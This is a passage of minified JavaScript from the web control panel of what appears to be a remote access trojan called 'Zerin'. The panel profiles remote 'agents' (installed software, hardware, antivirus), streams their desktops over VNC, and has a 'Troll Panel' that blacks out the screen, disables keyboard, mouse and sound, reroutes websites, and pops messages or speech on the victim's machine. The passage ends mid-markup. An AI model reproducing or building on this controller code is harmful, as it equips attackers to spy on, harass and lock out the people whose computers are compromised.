w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function nV({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function rV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(A.current=window.setInterval(()=>{const q=O.current;u(te=>te.fps===q.fps&&te.frameCount===q.frameCount&&te.dirtyTiles===q.dirtyTiles&&te.totalTiles===q.totalTiles?te:{fps:q.fps,frameCount:q.frameCount,width:q.width,height:q.height,lastFrameMs:q.lastFrameMs,dirtyTiles:q.dirtyTiles,totalTiles:q.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const G=m.useCallback((q,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==q||C.height!==te)&&(C.width=q,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),R=m.useRef(new ArrayBuffer(5)),K=m.useRef(new DataView(R.current)),_=m.useCallback(q=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(q)},[]),M=m.useMemo(()=>({sendMouseMove:(q,te)=>{const C=K.current;C.setUint8(0,1),C.setUint16(1,q,!0),C.setUint16(3,te,!0),_(R.current)},sendMouseButton:(q,te,C,Y)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,q),B.setUint8(2,te),B.setUint16(3,C,!0),B.setUint16(5,Y,!0),_(ne)},sendMouseScroll:(q,te,C)=>{const Y=new ArrayBuffer(7),ne=new DataView(Y);ne.setUint8(0,3),ne.setInt16(1,q,!0),ne.setUint16(3,te,!0),ne.setUint16(5,C,!0),_(Y)},sendKey:(q,te,C)=>{const Y=new ArrayBuffer(8),ne=new DataView(Y);ne.setUint8(0,4),ne.setUint8(1,q),ne.setUint16(2,te,!0),ne.setUint32(4,C,!0),_(Y)},sendClipboard:q=>{const te=new TextEncoder().encode(q),C=new ArrayBuffer(5+te.length),Y=new DataView(C);Y.setUint8(0,5),Y.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),_(C)},setQuality:q=>{D.current=q;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,q),_(te)},setViewOnly:q=>{d.current=q},sendControl:(q,te)=>{const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,q),Y.setUint8(2,te),_(C)}}),[_]),F=m.useCallback(()=>{if(!Rb||f.current)return;const q=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});q.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:Y,height:ne,cursorX:B,cursorY:le}=te.data;p.current(C,Y,ne,B,le)}},f.current=q},[]),U=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),V=m.useCallback(()=>{if(Rb||b.current!==null)return;const q=()=>{const te=y.current,C=g.current,Y=w.current;if((te.length>0||C.length>0)&&Y){const{canvas:ne,ctx:B}=G(Y.width,Y.height);for(const le of te)B.fillStyle=`rgb(${le.r},${le.g},${le.b})`,B.fillRect(le.col*le.tileSize,le.row*le.tileSize,le.tileSize,le.tileSize);for(const le of C)B.drawImage(le.bitmap,le.col*le.tileSize,le.row*le.tileSize),le.bitmap.close();y.current=[],g.current=[],p.current(ne,Y.width,Y.height,Y.cursorX,Y.cursorY)}b.current=requestAnimationFrame(q)};b.current=requestAnimationFrame(q)},[G]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const q of g.current)q.bitmap.close();g.current=[],y.current=[]},[]),ae=m.useCallback(()=>{if(T.current!==null)return;const q=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>q&&!P.current){P.current=!0;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,30),_(C)}else if(te.bufferedAmount<=q/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,D.current),_(C)}}},250)},[_]),ue=m.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),be=m.useCallback(()=>{if(i.current)return;const q=st();if(!q)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}`,Y=new WebSocket(C);Y.binaryType="arraybuffer",i.current=Y,Y.onopen=()=>{Y.send(JSON.stringify({type:"auth",token:q})),l(!0),F(),V(),ae()},Y.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const le=B.getUint16(0,!0),we=B.getUint16(2,!0),Ne=Number(B.getBigUint64(4,!0)),Ae=B.getUint8(12),$=performance.now(),fe=k.current,ve=z.current%N;fe[ve]=$,z.current=ve+1,S.current1){const Q=fe[(ve+1-se+N)%N],he=($-Q)/1e3;he>0&&(H=Math.round((se-1)/he))}const W=O.current;if(W.frameCount++,W.fps=H,W.width=le,W.height=we,W.lastFrameMs=Ne,Ae===1){const Q=rV(B,13,ne.data.byteLength);W.dirtyTiles=Q.numDirty,W.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(le/Q.cols):128,E=Q.tiles.filter(J=>J.codec===1),ce=Q.tiles.filter(J=>J.codec===2);if(f.current){const J=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return J.push(X),{col:ze.col,row:ze.row,data:X}}),ke=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:ke,width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},J)}else{w.current={width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const J of ce)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const ke=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);ke>=0?v.current[ke]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let J=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)J.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&J.push(xe);v.current=[]}Promise.all(J.map(xe=>{const ke=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(ke).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const ke of xe)g.current.push(ke)}).catch(()=>{j.current=!1})}}}else{W.dirtyTiles=0,W.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(ne.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,le,we)}},Y.onclose=()=>{l(!1),i.current=null,U(),Z(),ue(),r==null||r()},Y.onerror=()=>{Y.close()}},[e,t,r,F,U,V,Z,ae,ue]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),U(),Z(),ue(),l(!1)},[U,Z,ue]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),U(),Z(),ue()},[U,Z,ue]),{isConnected:o,stats:c,controls:M,connect:be,disconnect:ye}}function iV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState("https://"),[A,T]=m.useState(!1),[P,D]=m.useState(""),[G,R]=m.useState(!1),[K,_]=m.useState(!1),[M,F]=m.useState(!1),[U,V]=m.useState(!1),[Z,ae]=m.useState(!1),[ue,be]=m.useState(!1),ye=(H,se="ok")=>{f({text:H,type:se}),setTimeout(()=>f(null),2500)},q=m.useCallback((H,se,W)=>{s.current||(s.current=!0,i(!0)),l({w:se,h:W});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==se||Q.height!==W)&&(Q.width=se,Q.height=W),typeof H=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=H}else H instanceof ImageBitmap?(he.drawImage(H,0,0),H.close()):he.drawImage(H,0,0)},[]),{isConnected:te,stats:C,connect:Y}=kv({agentId:e,onFrame:q}),[ne,B]=m.useState(!1);m.useEffect(()=>{!e||!ne||Ex(e).then(()=>Y()).catch(()=>{Y()})},[e,Y,ne]);const le=async(H,se)=>{try{await Me(e,{command:H,args:se}),ye(`Sent: ${H}`)}catch{ye(`Failed: ${H}`,"err")}},we=()=>{const H=!c;u(H),le("troll_taskbar",[H?"show":"hide"])},Ne=(H,se,W)=>{const Q=!H;se(Q),le(W,[Q?"on":"off"])},Ae=()=>{y.trim()&&(le("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},$=()=>{j.trim()&&(le("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or https://","err");return}le("troll_website",[S]),z(!1),O("https://")}},ve=()=>{P.trim()&&(le("troll_wallpaper",[P]),T(!1),D(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Xs,{icon:a.jsx(aV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Xs,{icon:a.jsx(sV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Xs,{icon:a.jsx(oV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>z(!0)}),a.jsx(Xs,{icon:a.jsx(lV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),a.jsx(Xs,{icon:a.jsx(cV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>le("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:we}),a.jsx(Ri,{label:"Swap Mouse",active:G,color:"#f59e0b",onToggle:()=>Ne(G,R,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!K,color:"#8b5cf6",onToggle:()=>Ne(K,_,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!M,color:"#ef4444",onToggle:()=>Ne(M,F,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!U,color:"#10b981",onToggle:()=>Ne(U,V,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>Ne(Z,ae,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>Ne(ue,be,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ac,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:H=>g(H.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:H=>v(H.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(sc,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ac,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:H=>N(H.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>w(!1),onSend:$,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ac,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono 